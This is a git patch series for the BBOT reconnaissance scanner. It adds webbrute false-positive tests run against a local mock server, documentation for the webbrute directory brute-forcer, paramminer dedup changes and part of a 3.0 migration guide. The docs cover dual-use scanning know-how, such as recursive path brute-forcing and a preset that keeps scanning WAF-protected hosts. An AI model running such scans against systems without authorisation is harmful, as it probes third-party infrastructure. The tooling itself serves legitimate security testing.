avoid_wafs: False max_depth: 3 lines: 5000 extensions: diff --git a/bbot/test/test_step_2/module_tests/test_module_webbrute.py b/bbot/test/test_step_2/module_tests/test_module_webbrute.py index 3a2ab630a1..8a861e45ce 100644 --- a/bbot/test/test_step_2/module_tests/test_module_webbrute.py +++ b/bbot/test/test_step_2/module_tests/test_module_webbrute.py @@ -214,6 +214,44 @@ def check(self, module_test, events): ) +class TestWebBruteHitCap(ModuleTestBase): + """Server returns unique content for every path, causing all words to pass + HttpCompare. The sqrt-scaled hit cap should detect this as a filtering + failure and discard everything before emission.""" + + targets = ["http://127.0.0.1:8888"] + module_name = "webbrute" + # 50 words → cap of int(4 * sqrt(50)) = 28. All 50 will "hit", exceeding the cap. + test_wordlist = [f"word{i:03d}" for i in range(50)] + config_overrides = {"modules": {"webbrute": {"wordlist": tempwordlist(test_wordlist)}}} + modules_overrides = ["webbrute", "http"] + + _counter = 0 + + def request_handler(self, request): + uri = request.path + if uri == "/": + return Response("Home", status=200) + # Return unique content only for wordlist words (word000-word049). + # Random strings (like the canary) get a normal 404 so the canary + # doesn't mask the hit cap. + segment = uri.strip("/") + if segment.startswith("word"): + TestWebBruteHitCap._counter += 1 + body = f"Unique page {TestWebBruteHitCap._counter} for {uri}" + return Response(body, status=200) + return Response("Not Found", status=404) + + async def setup_before_prep(self, module_test): + module_test.set_expect_requests_handler(expect_args=re.compile("/.*"), request_handler=self.request_handler) + + def check(self, module_test, events): + webbrute_urls = [e for e in events if e.type == "URL_UNVERIFIED" and str(e.module) == "webbrute"] + assert len(webbrute_urls) == 0, ( + f"Hit cap should have discarded all hits, but got: {[e.url for e in webbrute_urls]}" + ) + + class TestWebBruteWildcardSkip(ModuleTestBase): """When the host is an HTTP wildcard, webbrute should skip fuzzing entirely.""" diff --git a/docs/modules/webbrute.md b/docs/modules/webbrute.md new file mode 100644 index 0000000000..c48faae0d4 --- /dev/null +++ b/docs/modules/webbrute.md @@ -0,0 +1,169 @@ +# Web Brute-Force (webbrute) + +## Overview + +`webbrute` is BBOT's built-in web directory and file brute-forcer, similar to tools like [ffuf](https://github.com/ffuf/ffuf) or [DirBuster](https://owasp.org/www-project-dirbuster/). It discovers hidden directories and files by sending a wordlist of common path names to a target and identifying responses that differ from the baseline (i.e., the server's default response to a nonexistent path). + +Unlike standalone tools, webbrute runs as part of BBOT's recursive pipeline. URLs discovered by other modules (spidering, wayback, etc.) are automatically fuzzed, and webbrute's discoveries feed back into the pipeline for further processing. + +Webbrute is powered by [blasthttp](https://github.com/blacklanternsecurity/blasthttp), our custom-built native Rust HTTP engine, giving it performance comparable to ffuf. + +## Quick Start + +```bash +# Basic directory brute-force +bbot -t example.com -m webbrute + +# With file extensions +bbot -t example.com -m webbrute -c modules.webbrute.extensions=php,asp,jsp + +# Aggressive mode with larger wordlist and recursion +bbot -t example.com -p dirbust-heavy +``` + +## Features + +### Extensions + +By default, webbrute tests each word as both a bare path (`/admin`) and as a directory (`/admin/`). You can add file extensions to also test paths like `/admin.php`, `/admin.asp`, etc. + +```yaml +modules: + webbrute: + extensions: + - php + - asp + - aspx + - jsp +``` + +Each extension gets its own independent baseline, so a server that behaves differently for `.php` vs `.jsp` requests is handled correctly. + +### Recursive Fuzzing + +With `max_depth` set above 0, webbrute will recursively fuzz directories it discovers. For example, if it finds `/admin/`, it will fuzz `/admin/` with the same wordlist to discover `/admin/config/`, and so on up to the configured depth. + +```yaml +modules: + webbrute: + max_depth: 3 +``` + +### Wordlists + +The default wordlist is [raft-small-directories](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content) from SecLists, limited to the first 5000 lines. You can specify a custom wordlist or merge multiple wordlists (duplicates are automatically removed): + +```yaml +modules: + webbrute: + wordlist: + - https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt + - /path/to/custom-words.txt + lines: 10000 +``` + +### Rate Limiting + +Webbrute respects BBOT's global `http_rate_limit` setting and also has its own per-module rate limit: + +```yaml +modules: + webbrute: + rate: 100 # max requests per second (0 = unlimited) + concurrency: 50 # concurrent requests per URL +``` + +If both a module rate and a global rate are set, the more restrictive one wins. + +## WAF Detection and Avoidance + +Brute-forcing through a WAF wastes time and can get your IP blocked. Webbrute handles WAFs at multiple levels: + +### Pre-Scan: `avoid_wafs` + +When `avoid_wafs` is enabled (the default), webbrute skips any URL whose host has been tagged as being behind a WAF by BBOT's `cloudcheck` module. This prevents wasting thousands of requests against a host that will block them. + +```yaml +modules: + webbrute: + avoid_wafs: true # default +``` + +### Baseline: WAF Block Page and 429 Detection + +During baseline setup, webbrute checks whether the server's response to random paths contains known WAF block page signatures (detected via YARA rules). If the baseline itself is a WAF block page, the host is skipped immediately. The same check catches 429 (Too Many Requests) responses. + +### In-Stream: WAF Page Filtering + +During fuzzing, every response is checked against the same WAF YARA rules. Individual responses that match WAF signatures are silently filtered, even if they have a 200 status code. This catches WAFs that start blocking mid-scan after a burst of requests. + +### Timeout Tracking + +Some WAFs silently drop packets rather than returning error pages. Webbrute tracks connection failures per host across the entire scan. If a host accumulates 50 timeouts, it is blocked for the remainder of the scan, preventing the module from draining its entire wordlist against a dead connection. + +## False Positive Prevention + +Web brute-forcing is inherently noisy. Servers return custom error pages, dynamic content, and catch-all redirects that make it difficult to distinguish real hits from junk. Webbrute uses several layers of defense to prevent false positives. + +### Baseline Filtering (HttpCompare) + +Before fuzzing begins, webbrute sends two requests with random paths and uses HttpCompare (a DeepDiff-based response comparison engine) to diff them. Any positions that vary between the two (timestamps, CSRF tokens, request IDs) are marked as dynamic and excluded from future comparisons. During fuzzing, each response is compared against this baseline. Only responses that differ in non-dynamic ways (status code, headers, or body content) are considered potential hits. + +This catches a common class of false positives that simpler tools miss: servers that return 200 for all paths with subtly different content (e.g., a per-request CSRF token embedded in a custom 404 page). + +### Redirect-to-Root Filtering + +3xx responses that redirect to `/` or the base URL are filtered. This is a common catch-all pattern where servers redirect all unknown paths to the homepage. + +### Three-Layer Post-Stream Validation + +Hits are collected during the response stream but are not emitted immediately. Before anything reaches the rest of the pipeline, three checks run in sequence: + +1. **Canary check**: A random word is injected into the wordlist alongside the real words. If the canary word appears in the hits, it means the server is returning unique content for random paths too, and all hits are likely false positives. Everything is discarded. + +2. **Mid-scan baseline validation**: After streaming completes, a fresh random URL is sent and compared against the original baseline. If it no longer matches (e.g., a WAF started blocking mid-scan, or the server's behavior changed), the baseline has drifted and the hits are unreliable. Everything is discarded. + +3. **Hit cap**: If the number of hits exceeds a threshold scaled to the wordlist size (`4 * sqrt(wordlist_length)`), something has slipped past the other defenses. This catches edge cases where the server returns subtly unique content for real dictionary words but not for random strings. The host is blocked and all hits are discarded before emission. + +## Configuration Reference + +| Option | Type | Default | Description | +|--------|------|---------|-------------| +| `wordlist` | string or list | raft-small-directories | Wordlist URL(s) or path(s). Multiple wordlists are merged with deduplication. | +| `lines` | int | 5000 | Use only the first N lines from the wordlist. | +| `max_depth` | int | 0 | Maximum directory depth for recursive fuzzing. 0 = root only. | +| `extensions` | string or list | (none) | File extensions to append (e.g., `php,asp,jsp`). | +| `ignore_case` | bool | false | Lowercase all wordlist entries (deduplicates case variants). | +| `rate` | int | 0 | Max requests per second. 0 = unlimited (subject to global `http_rate_limit`). | +| `concurrency` | int | 50 | Number of concurrent requests per URL being fuzzed. | +| `avoid_wafs` | bool | true | Skip URLs behind confirmed WAFs. | + +## Presets + +BBOT includes two presets for directory brute-forcing: + +### `dirbust-light` + +Surface-level directory discovery with a smaller wordlist. Good for quick scans. + +- Wordlist: raft-small-directories (first 1000 lines) +- No extensions, no recursion +- WAF avoidance enabled + +```bash +bbot -t example.com -p dirbust-light +``` + +### `dirbust-heavy` + +Aggressive recursive brute-forcing with a large extension list. Includes spidering and wayback URL extraction to discover additional directories to fuzz. WAF avoidance is disabled so brute-forcing proceeds even against WAF-protected hosts. + +- Wordlist: raft-small-directories (first 5000 lines) +- Extensions: php, asp, aspx, ashx, asmx, jsp, jspx, cfm, zip, conf, config, xml, json, yml, yaml +- Recursive to depth 3 +- Includes spider and wayback modules +- `avoid_wafs` disabled + +```bash +bbot -t example.com -p dirbust-heavy +``` From 90f17e929be2591e2125062265d9c18a18e75475 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 12 Jun 2026 13:45:34 -0400 Subject: [PATCH 803/912] Fix webbrute_shortnames for new execute_fuzz signature --- bbot/modules/webbrute.py | 2 +- bbot/modules/webbrute_shortnames.py | 24 ++++++++++++++++-------- 2 files changed, 17 insertions(+), 9 deletions(-) diff --git a/bbot/modules/webbrute.py b/bbot/modules/webbrute.py index 77b1bdea32..441848f465 100644 --- a/bbot/modules/webbrute.py +++ b/bbot/modules/webbrute.py @@ -200,7 +200,7 @@ async def execute_fuzz( if exts is None: exts = [""] if filters is None: - filters = {} + filters = await self.baseline_fuzz(url, exts=exts, prefix=prefix, suffix=suffix) headers = self._build_batch_headers() proxy = self.scan.http_proxy or None diff --git a/bbot/modules/webbrute_shortnames.py b/bbot/modules/webbrute_shortnames.py index a74294f6d1..73ddb9521f 100644 --- a/bbot/modules/webbrute_shortnames.py +++ b/bbot/modules/webbrute_shortnames.py @@ -161,6 +161,8 @@ def find_class(self, module, name): self.per_host_collection = {} self.shortname_to_event = {} + self._host_timeouts = {} + self._blocked_hosts = set() return True @@ -221,6 +223,7 @@ async def handle_event(self, event): root_stub = "/".join(event.parsed_url.path.split("/")[:-1]) root_url = f"{event.parsed_url.scheme}://{event.parsed_url.netloc}{root_stub}/" + netloc = event.parsed_url.netloc if shortname_type == "endpoint": used_extensions = self.build_extension_list(event) @@ -235,7 +238,7 @@ async def handle_event(self, event): if words_len > 0: if shortname_type == "endpoint": for ext in used_extensions: - async for r in self.execute_fuzz(words, root_url, suffix=f".{ext}"): + async for r in self.execute_fuzz(words, root_url, netloc, suffix=f".{ext}"): await self.emit_event( r["url"], "URL_UNVERIFIED", @@ -245,7 +248,7 @@ async def handle_event(self, event): ) elif shortname_type == "directory": - async for r in self.execute_fuzz(words, root_url, exts=["/"]): + async for r in self.execute_fuzz(words, root_url, netloc, exts=["/"]): r_url = f"{r['url'].rstrip('/')}/" await self.emit_event( r_url, @@ -263,7 +266,7 @@ async def handle_event(self, event): self.verbose(f"Detected delimiter [{delimiter}] in hint [{filename_hint}]") words, words_len = await self.generate_templist(partial_hint, "directory") fuzz_prefix = f"{prefix}{delimiter}" - async for r in self.execute_fuzz(words, root_url, prefix=fuzz_prefix, exts=["/"]): + async for r in self.execute_fuzz(words, root_url, netloc, prefix=fuzz_prefix, exts=["/"]): await self.emit_event( r["url"], "URL_UNVERIFIED", @@ -280,7 +283,9 @@ async def handle_event(self, event): self.verbose(f"Detected delimiter [{delimiter}] in hint [{filename_hint}]") words, words_len = await self.generate_templist(partial_hint, "endpoint") fuzz_prefix = f"{prefix}{delimiter}" - async for r in self.execute_fuzz(words, root_url, prefix=fuzz_prefix, suffix=f".{ext}"): + async for r in self.execute_fuzz( + words, root_url, netloc, prefix=fuzz_prefix, suffix=f".{ext}" + ): await self.emit_event( r["url"], "URL_UNVERIFIED", @@ -294,7 +299,7 @@ async def handle_event(self, event): if subword: if "shortname-directory" in event.tags: words, words_len = await self.generate_templist(suffix, "directory") - async for r in self.execute_fuzz(words, root_url, prefix=subword, exts=["/"]): + async for r in self.execute_fuzz(words, root_url, netloc, prefix=subword, exts=["/"]): await self.emit_event( r["url"], "URL_UNVERIFIED", @@ -305,7 +310,7 @@ async def handle_event(self, event): elif "shortname-endpoint" in event.tags: for ext in used_extensions: words, words_len = await self.generate_templist(suffix, "endpoint") - async for r in self.execute_fuzz(words, root_url, prefix=subword, suffix=f".{ext}"): + async for r in self.execute_fuzz(words, root_url, netloc, prefix=subword, suffix=f".{ext}"): await self.emit_event( r["url"], "URL_UNVERIFIED", @@ -327,6 +332,7 @@ async def finish(self): self.verbose(f"Found common prefix: [{prefix}] for host [{host}]") for hint_tuple in hint_tuple_list: hint, url = hint_tuple + netloc = self.shortname_to_event[hint].parsed_url.netloc if hint.startswith(prefix): if "shortname-endpoint" in self.shortname_to_event[hint].tags: shortname_type = "endpoint" @@ -347,7 +353,7 @@ async def finish(self): f"Running common prefix check for URL_HINT: {hint} with prefix: {prefix} and partial_hint: {partial_hint}" ) - async for r in self.execute_fuzz(words, url, prefix=prefix, exts=["/"]): + async for r in self.execute_fuzz(words, url, netloc, prefix=prefix, exts=["/"]): await self.emit_event( r["url"], "URL_UNVERIFIED", @@ -362,7 +368,9 @@ async def finish(self): self.verbose( f"Running common prefix check for URL_HINT: {hint} with prefix: {prefix}, extension: .{ext}, and partial_hint: {partial_hint}" ) - async for r in self.execute_fuzz(words, url, prefix=prefix, suffix=f".{ext}"): + async for r in self.execute_fuzz( + words, url, netloc, prefix=prefix, suffix=f".{ext}" + ): await self.emit_event( r["url"], "URL_UNVERIFIED", From b0169f51a693cb6c8fb9f4fabd936590e878d404 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 15 Jun 2026 18:13:55 -0400 Subject: [PATCH 804/912] Add canary + baseline-drift tests, clean up filter_event returns --- .../module_tests/test_module_webbrute.py | 67 +++++++++++++++++++ 1 file changed, 67 insertions(+) diff --git a/bbot/test/test_step_2/module_tests/test_module_webbrute.py b/bbot/test/test_step_2/module_tests/test_module_webbrute.py index 8a861e45ce..deb75b8426 100644 --- a/bbot/test/test_step_2/module_tests/test_module_webbrute.py +++ b/bbot/test/test_step_2/module_tests/test_module_webbrute.py @@ -252,6 +252,73 @@ def check(self, module_test, events): ) +class TestWebBruteCanaryDefense(ModuleTestBase): + """Server returns unique content for EVERY path including random strings. + The canary fires and aborts, discarding all hits.""" + + targets = ["http://127.0.0.1:8888"] + module_name = "webbrute" + test_wordlist = ["admin", "secret", "login"] + config_overrides = {"modules": {"webbrute": {"wordlist": tempwordlist(test_wordlist)}}} + modules_overrides = ["webbrute", "http"] + + _counter = 0 + + def request_handler(self, request): + uri = request.path + if uri == "/": + return Response("Home", status=200) + # Every path (including random canary strings) gets unique content + # that differs structurally from the baseline, not just in a filterable position. + TestWebBruteCanaryDefense._counter += 1 + n = TestWebBruteCanaryDefense._counter + extra = "".join(f"

    Section {i}

    \n" for i in range(n % 5 + 1)) + body = f"

    Custom page #{n} for {uri}

    \n{extra}" + return Response(body, status=200) + + async def setup_before_prep(self, module_test): + module_test.set_expect_requests_handler(expect_args=re.compile("/.*"), request_handler=self.request_handler) + + def check(self, module_test, events): + webbrute_urls = [e for e in events if e.type == "URL_UNVERIFIED" and str(e.module) == "webbrute"] + assert len(webbrute_urls) == 0, ( + f"Canary defense should have aborted, but webbrute emitted: {[e.url for e in webbrute_urls]}" + ) + + +class TestWebBruteMidScanBaselineDrift(ModuleTestBase): + """Server matches baseline initially, then drifts (WAF kicks in after N requests). + Mid-scan baseline check should detect the drift and abort.""" + + targets = ["http://127.0.0.1:8888"] + module_name = "webbrute" + test_wordlist = ["admin", "secret", "login"] + config_overrides = {"modules": {"webbrute": {"wordlist": tempwordlist(test_wordlist)}}} + modules_overrides = ["webbrute", "http"] + + _request_count = 0 + + def request_handler(self, request): + uri = request.path + if uri == "/": + return Response("Home", status=200) + TestWebBruteMidScanBaselineDrift._request_count += 1 + # First 4 requests: normal 404 (baseline probes + early fuzz). + # After that: WAF kicks in, returns block page for everything. + if TestWebBruteMidScanBaselineDrift._request_count <= 4: + return Response("Not Found", status=404) + return Response("Access Denied by WAF", status=200) + + async def setup_before_prep(self, module_test): + module_test.set_expect_requests_handler(expect_args=re.compile("/.*"), request_handler=self.request_handler) + + def check(self, module_test, events): + webbrute_urls = [e for e in events if e.type == "URL_UNVERIFIED" and str(e.module) == "webbrute"] + assert len(webbrute_urls) == 0, ( + f"Mid-scan baseline drift should have aborted, but webbrute emitted: {[e.url for e in webbrute_urls]}" + ) + + class TestWebBruteWildcardSkip(ModuleTestBase): """When the host is an HTTP wildcard, webbrute should skip fuzzing entirely.""" From 061620e66ab097a547ee47633e9ebe554fc05b56 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 14 Jun 2026 13:03:01 -0400 Subject: [PATCH 805/912] paramminer: dedup by endpoint + param keys, not full URL string --- bbot/modules/paramminer_headers.py | 11 +++ .../test_module_paramminer_headers.py | 75 +++++++++++++++++++ 2 files changed, 86 insertions(+) diff --git a/bbot/modules/paramminer_headers.py b/bbot/modules/paramminer_headers.py index eb86134785..9509e64180 100644 --- a/bbot/modules/paramminer_headers.py +++ b/bbot/modules/paramminer_headers.py @@ -328,6 +328,17 @@ async def finish(self): continue await self.process_results(event, results) + def _incoming_dedup_hash(self, event): + # dedup by endpoint structure, not full URL string -- value mutations + # of the same parameter set (e.g. from lightfuzz probes) are one test surface + p = event.parsed_url + if event.type == "WEB_PARAMETER": + additional_params = event.data.get("additional_params", {}) + param_keys = tuple(sorted({event.data.get("name", ""), *additional_params.keys()})) + else: + param_keys = () + return hash((event.type, p.scheme, p.netloc, p.path, param_keys)), "per_endpoint+keys" + async def filter_event(self, event): if await self._is_http_wildcard_host(event) is True: return False, "host is an HTTP wildcard responder" diff --git a/bbot/test/test_step_2/module_tests/test_module_paramminer_headers.py b/bbot/test/test_step_2/module_tests/test_module_paramminer_headers.py index 17b353d58c..9d68b2c503 100644 --- a/bbot/test/test_step_2/module_tests/test_module_paramminer_headers.py +++ b/bbot/test/test_step_2/module_tests/test_module_paramminer_headers.py @@ -221,3 +221,78 @@ async def mock_wildcard(scheme, host, port): def check(self, module_test, events): web_params = [e for e in events if e.type == "WEB_PARAMETER" and str(e.module) == "paramminer_headers"] assert len(web_params) == 0, f"paramminer_headers should not fuzz wildcard hosts, but emitted: {web_params}" + + +class TestParamminerHeadersDedupValueMutations(Paramminer_Headers): + """Value mutations of the same parameter set on the same endpoint should collapse to one test surface.""" + + async def setup_after_prep(self, module_test): + await super().setup_after_prep(module_test) + pm = module_test.scan.modules["paramminer_headers"] + + def make_wp(**kwargs): + defaults = {"host": "127.0.0.1:8888", "type": "GETPARAM", "original_value": "x"} + defaults.update(kwargs) + return module_test.scan.make_event(defaults, "WEB_PARAMETER", dummy=True) + + def make_hr(url): + return module_test.scan.make_event( + { + "url": url, + "status_code": 200, + "header-dict": {}, + "body": "", + "raw_header": "HTTP/1.1 200 OK\r\n\r\n", + "method": "GET", + }, + "HTTP_RESPONSE", + dummy=True, + ) + + # same endpoint, same param keys, different values (simulates lightfuzz probe cycling) + hash_a, _ = pm._incoming_dedup_hash( + make_wp( + url="http://127.0.0.1:8888/page?culture=probe_a&page=1", + name="culture", + additional_params={"page": "1"}, + ) + ) + hash_b, _ = pm._incoming_dedup_hash( + make_wp( + url="http://127.0.0.1:8888/page?culture=probe_b&page=2", + name="culture", + additional_params={"page": "2"}, + ) + ) + assert hash_a == hash_b, "Value mutations of same param keys should produce same dedup hash" + + # different param keys on same path -> distinct + hash_c, _ = pm._incoming_dedup_hash( + make_wp( + url="http://127.0.0.1:8888/page?culture=x&page=1&csrf=tok", + name="culture", + additional_params={"page": "1", "csrf": "tok"}, + ) + ) + assert hash_a != hash_c, "Different param key sets should produce different dedup hashes" + + # different path, same keys -> distinct + hash_d, _ = pm._incoming_dedup_hash( + make_wp( + url="http://127.0.0.1:8888/other?culture=x&page=1", + name="culture", + additional_params={"page": "1"}, + ) + ) + assert hash_a != hash_d, "Same param keys on different paths should produce different dedup hashes" + + # HTTP_RESPONSE events: same endpoint collapses regardless + hash_hr_a, _ = pm._incoming_dedup_hash(make_hr("http://127.0.0.1:8888/page")) + hash_hr_b, _ = pm._incoming_dedup_hash(make_hr("http://127.0.0.1:8888/page")) + assert hash_hr_a == hash_hr_b, "HTTP_RESPONSE events for same endpoint should produce same dedup hash" + + # WEB_PARAMETER and HTTP_RESPONSE for same URL should NOT collide + assert hash_a != hash_hr_a, "WEB_PARAMETER and HTTP_RESPONSE should not share dedup hashes" + + def check(self, module_test, events): + super().check(module_test, events) From b94f5834648621e1679ff7bac258526fb33ece97 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 15 Jun 2026 18:19:00 -0400 Subject: [PATCH 806/912] Fix recycle-words collapse, harden dedup hash, add name-swap test --- bbot/modules/paramminer_headers.py | 12 ++++++++---- .../module_tests/test_module_paramminer_headers.py | 10 ++++++++++ 2 files changed, 18 insertions(+), 4 deletions(-) diff --git a/bbot/modules/paramminer_headers.py b/bbot/modules/paramminer_headers.py index 9509e64180..aacebe698a 100644 --- a/bbot/modules/paramminer_headers.py +++ b/bbot/modules/paramminer_headers.py @@ -331,13 +331,17 @@ async def finish(self): def _incoming_dedup_hash(self, event): # dedup by endpoint structure, not full URL string -- value mutations # of the same parameter set (e.g. from lightfuzz probes) are one test surface - p = event.parsed_url + p = getattr(event, "parsed_url", None) + if p is None: + return hash(event), "" if event.type == "WEB_PARAMETER": - additional_params = event.data.get("additional_params", {}) - param_keys = tuple(sorted({event.data.get("name", ""), *additional_params.keys()})) + name = event.data.get("name", "") + additional_params = event.data.get("additional_params") or {} + param_keys = tuple(sorted(additional_params.keys())) else: + name = "" param_keys = () - return hash((event.type, p.scheme, p.netloc, p.path, param_keys)), "per_endpoint+keys" + return hash((event.type, p.scheme, p.netloc, p.path, name, param_keys)), "per_endpoint+keys" async def filter_event(self, event): if await self._is_http_wildcard_host(event) is True: diff --git a/bbot/test/test_step_2/module_tests/test_module_paramminer_headers.py b/bbot/test/test_step_2/module_tests/test_module_paramminer_headers.py index 9d68b2c503..846efa177f 100644 --- a/bbot/test/test_step_2/module_tests/test_module_paramminer_headers.py +++ b/bbot/test/test_step_2/module_tests/test_module_paramminer_headers.py @@ -286,6 +286,16 @@ def make_hr(url): ) assert hash_a != hash_d, "Same param keys on different paths should produce different dedup hashes" + # different focus name, same sibling keys (excavate emits one WP per param) -> distinct + hash_e, _ = pm._incoming_dedup_hash( + make_wp( + url="http://127.0.0.1:8888/page?culture=x&page=1", + name="page", + additional_params={"culture": "x"}, + ) + ) + assert hash_a != hash_e, "Different focus name with same siblings should produce different dedup hashes" + # HTTP_RESPONSE events: same endpoint collapses regardless hash_hr_a, _ = pm._incoming_dedup_hash(make_hr("http://127.0.0.1:8888/page")) hash_hr_b, _ = pm._incoming_dedup_hash(make_hr("http://127.0.0.1:8888/page")) From 2983a9ba1a9f680d033fc35cab1d63a6bc9698dd Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 22 May 2026 16:56:15 -0400 Subject: [PATCH 807/912] add 2.x -> 3.0 migration guide --- README.md | 4 + docs/migration/3.0_breaking_changes.md | 387 +++++++++++++++++++++++++ mkdocs.yml | 2 + 3 files changed, 393 insertions(+) create mode 100644 docs/migration/3.0_breaking_changes.md diff --git a/README.md b/README.md index c04d8f9ae1..b6ba810220 100644 --- a/README.md +++ b/README.md @@ -20,6 +20,8 @@ pipx install --pip-args '\--pre' bbot _For more installation methods, including [Docker](https://hub.docker.com/r/blacklanternsecurity/bbot), see [Getting Started](https://www.blacklanternsecurity.com/bbot/Stable/)_ +> **Upgrading from 2.x?** BBOT 3.0 contains breaking changes to the CLI, presets, modules, events, and Python API. See the [2.x → 3.0 Migration Guide](https://www.blacklanternsecurity.com/bbot/Stable/migration/3.0_breaking_changes/) ([source](docs/migration/3.0_breaking_changes.md)) before upgrading. + > **Speed tip:** BBOT's DNS engine spins up ten workers per resolver in `/etc/resolv.conf`. Adding more unfiltered resolvers dramatically speeds up scans. See the [sample resolv.conf](docs/data/resolv-sample.conf) and [Tips and Tricks](https://www.blacklanternsecurity.com/bbot/Stable/scanning/tips_and_tricks/#speed-up-scans-with-more-dns-resolvers) for details. ## Example Commands @@ -388,6 +390,8 @@ For details, see [Configuration](https://www.blacklanternsecurity.com/bbot/Stabl - [Nuclei](https://www.blacklanternsecurity.com/bbot/Stable/modules/nuclei) - [Custom YARA Rules](https://www.blacklanternsecurity.com/bbot/Stable/modules/custom_yara_rules) - [Lightfuzz (DAST)](https://www.blacklanternsecurity.com/bbot/Stable/modules/lightfuzz) + - **Migration** + - [2.x → 3.0 Breaking Changes](https://www.blacklanternsecurity.com/bbot/Stable/migration/3.0_breaking_changes) - **Misc** - [Contribution](https://www.blacklanternsecurity.com/bbot/Stable/contribution) - [Release History](https://www.blacklanternsecurity.com/bbot/Stable/release_history) diff --git a/docs/migration/3.0_breaking_changes.md b/docs/migration/3.0_breaking_changes.md new file mode 100644 index 0000000000..7ba0a44095 --- /dev/null +++ b/docs/migration/3.0_breaking_changes.md @@ -0,0 +1,387 @@ +# Migrating from BBOT 2.x to 3.0 + +BBOT 3.0 is a major release with a wide-ranging cleanup of the CLI, preset +syntax, event API, and module ecosystem. This page enumerates everything that +changed in a backwards-incompatible way so existing scans, custom modules, and +integrations can be updated. + +If a change is missing here, please open an issue. + +--- + +## CLI / Targeting + +The `--whitelist` concept was retired. BBOT now distinguishes between **target** +(what defines scope, i.e. what `in_target()` checks) and **seeds** (the events +that actually drive passive modules at scan start). + +| 2.x | 3.0 | +|-----|-----| +| `-t / --targets` (seed + scope) | `-t / --targets` (scope only) | +| `-w / --whitelist` | removed (positional `-t` now plays this role) | +| *(no equivalent)* | `-s / --seeds` (optional override of seed events) | +| `-s / --silent` | `-S / --silent` (capitalized; `-s` reassigned to `--seeds`) | +| `--allow-deadly` | removed (see flag changes below) | + +Behavior: + +- If `--seeds` is omitted, seeds default to whatever was passed to `--targets`, + so the simple case (`bbot -t evilcorp.com -p subdomain-enum`) is unchanged. +- `--strict-scope` now means "only this exact host, no subdomains" against the + target, not the whitelist. +- The `Preset(...)` Python API mirrors the CLI: positional args are the + **target**, and `seeds=` is a keyword. `whitelist=` is gone. + +### Python API + +```python +# 2.x +preset = Preset("evilcorp.com", whitelist=["evilcorp.com", "evilcorp.net"]) +scan.whitelist # Target object +scan.whitelisted(host) + +# 3.0 +preset = Preset("evilcorp.com", "evilcorp.net", seeds=["evilcorp.com"]) +scan.target # BBOTTarget wrapper +scan.target.target # the radix-backed scope +scan.target.seeds # seed events +scan.in_target(host) +``` + +`Scanner.whitelist` and `Scanner.whitelisted()` have been removed. +`BBOTTarget.whitelist` is now `BBOTTarget.target`. Pickling of `BBOTTarget` was +also removed. + +--- + +## Flags + +| Removed | Replacement / notes | +|---------------------|---------------------| +| `aggressive` | use `loud` (network volume) and/or `invasive` (destructive) | +| `deadly` | dropped along with `--allow-deadly`; affected modules now live under regular flags | +| `noisy` | renamed to `loud` | +| `web-basic` | renamed to `web` | +| `web-thorough` | renamed to `web-heavy` | + +| Added | Meaning | +|-------------|---------| +| `invasive` | Intrusive or potentially destructive | +| `safe` | Non-intrusive and non-destructive (now enforced on every module) | +| `download` | Modules that download files, apps, or repositories | +| `web-heavy` | More advanced web scanning functionality | + +Every module must now declare at least one of `passive` / `active` **and** at +least one of `safe`, `loud`, or `invasive`. Custom modules carrying the removed +flags will fail validation. + +--- + +## Presets + +### Renamed + +| 2.x | 3.0 | +|----------------------|--------------------| +| `web-basic` | `web` | +| `nuclei-intense` | `nuclei-heavy` | +| `spider-intense` | `spider-heavy` | + +### Removed + +- `web-thorough` (use `web-heavy`) +- `baddns-intense` (the baddns preset tiers were rebuilt; use `baddns` / + `baddns-heavy`) +- `web/lightfuzz-medium`, `web/lightfuzz-superheavy` (lightfuzz preset tiers + were rebuilt; see `web/lightfuzz`, `web/lightfuzz-heavy`, + `web/lightfuzz-max`) + +### Added + +`baddns`, `baddns-heavy`, `web-heavy`, `web/lightfuzz`, `web/lightfuzz-max`, +`web/paramminer-heavy`. + +### Syntax + +Preset YAML files now accept the singular key `target:` in addition to +`targets:` (both are merged). The old `whitelist:` key is gone; use `seeds:` if +you need seeds that differ from the target. Lines beginning with `#` inside +target / seed / blacklist lists are stripped as comments. File paths in those +lists are resolved relative to the preset file via the new `PresetPath` +mechanism. + +The top-level scan options that used to be implicit are now required to live +under `config:` inside a preset (this was previously documented behavior, now +enforced and called out in `defaults.yml`). + +--- + +## Modules + +### Removed (no direct replacement) + +- `azure_realm` +- `digitorus` +- `passivetotal` +- `sitedossier` +- `smuggler` +- `vhost` +- `wappalyzer` + +### Removed and replaced + +| 2.x | 3.0 replacement | +|------------------|-----------------| +| `httpx` | `http` | +| `ffuf` | `webbrute` | +| `ffuf_shortnames`| `webbrute_shortnames` | +| `bucket_azure` | `bucket_microsoft` | +| `extractous` | `kreuzberg` | +| `output.http` | `output.webhook` | +| `censys` (single module) | split into `censys_dns` and `censys_ip` | + +If you used any of these in a custom preset or `-m` / `-em` invocation, update +the module name accordingly. The `--list-modules` output is the source of +truth. + +!!! warning "The `http` name was reassigned" + The module called `http` in 3.0 is **not** the same as the output module + called `http` in 2.x. The name was reassigned: + + - **`http` (3.0, scan module)** — the replacement for the old `httpx` + scan module. Probes URLs over the shared in-process blasthttp client. + - **`output.http` (2.x, output module)** — the webhook-style output module + that POSTed events to an arbitrary HTTP endpoint. This is now + `output.webhook` in 3.0. + + Old scans that ran `bbot -om http ...` were emitting events to a webhook; + in 3.0 the equivalent is `bbot -om webhook ...`. The new `bbot -m http ...` + is a scan module that probes URLs, which is a completely different thing. + +### New modules worth knowing about + +- `http` — replaces `httpx`; runs through the in-process [blasthttp](https://github.com/blacklanternsecurity/blasthttp) client. +- `webbrute` / `webbrute_shortnames` — ffuf replacements, also via blasthttp. +- `bucket_hetzner`, `shodan_enterprise`, `trajan`, `legba`. +- Output: `elastic`, `kafka`, `mongo`, `nats`, `rabbitmq`, `zeromq`. +- Lightfuzz submodules `esi` and `ssrf` (the old `generic_ssrf` module was + deleted in favor of the lightfuzz submodule). + +### Module API + +- `BaseModule` no longer has `_event_handler_watchdog_task` as a class + attribute and the watchdog is owned by `_setup()`. +- New `BaseModule.update_event(event, **kwargs)` and `emit_event(existing_event, + ...)` flow. Passing an existing event 